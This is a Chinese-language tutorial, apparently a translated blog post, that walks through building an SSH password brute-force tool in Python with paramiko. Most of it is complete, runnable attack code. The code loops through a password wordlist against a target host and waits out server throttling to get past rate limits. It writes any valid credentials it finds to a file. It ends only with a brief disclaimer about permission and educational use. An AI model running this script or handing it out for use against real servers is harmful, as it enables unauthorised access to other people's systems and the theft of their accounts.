暴力攻击是一种活动,涉及反复尝试尝试许多密码组合以闯入需要身份验证的系统。在本教程中,您将学习如何在Python中制作用于SSH连接的暴力脚本。
我们将使用paramiko库,该库为我们提供了一个简单的SSH客户端界面,让我们安装它:
pip3 install paramiko colorama
我们使用colorama只是为了获得良好的可视效果,除此之外没有其他。
打开一个新的Python文件并导入所需的模块
import paramiko import socket import time from colorama import init, Fore
# initialize colorama init() GREEN = Fore.GREEN RED = Fore.RED RESET = Fore.RESET BLUE = Fore.BLUE
def is_ssh_open(hostname, username, password): # initialize SSH client client = paramiko.SSHClient() # add to know hosts client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=hostname, username=username, password=password, timeout=3) except socket.timeout: # this is when host is unreachable print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}") return False except paramiko.AuthenticationException: print(f"[!] Invalid credentials for {username}:{password}") return False except paramiko.SSHException: print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") # sleep for a minute time.sleep(60) return is_ssh_open(hostname, username, password) else: # connection was established successfully print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") return True
socket.timeout:当主机在3秒钟内无法访问时。
paramiko.AuthenticationException:用户名和密码组合不正确时。
paramiko.SSHException:当在短时间内执行了许多日志记录尝试时,换句话说,服务器检测到它是某种蛮力,我们将知道这一点并休眠一分钟然后递归调用该函数再次使用相同的参数。
if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.") parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.") parser.add_argument("-P", "--passlist", help="File that contain password list in each line.") parser.add_argument("-u", "--user", help="Host username.") # parse passed arguments args = parser.parse_args() host = args.host passlist = args.passlist user = args.user # read the file passlist = open(passlist).read().splitlines() # brute-force for password in passlist: if is_ssh_open(host, user, password): # if combo is valid, save it to a file open("credentials.txt", "w").write(f"{user}@{host}:{password}") break
使用Python脚本强行强制SSH服务器的结果wordlist.txt是一个包含5000多个密码的nmap密码列表文件,我基本上是从Kali Linux OS的路径“ /usr/share/wordlists/nmap.lst”中获取的。
免责声明:请不要在您没有或没有权限的设备上使用此工具,我们不承担任何责任,本教程仅用于教育目的
网友评论0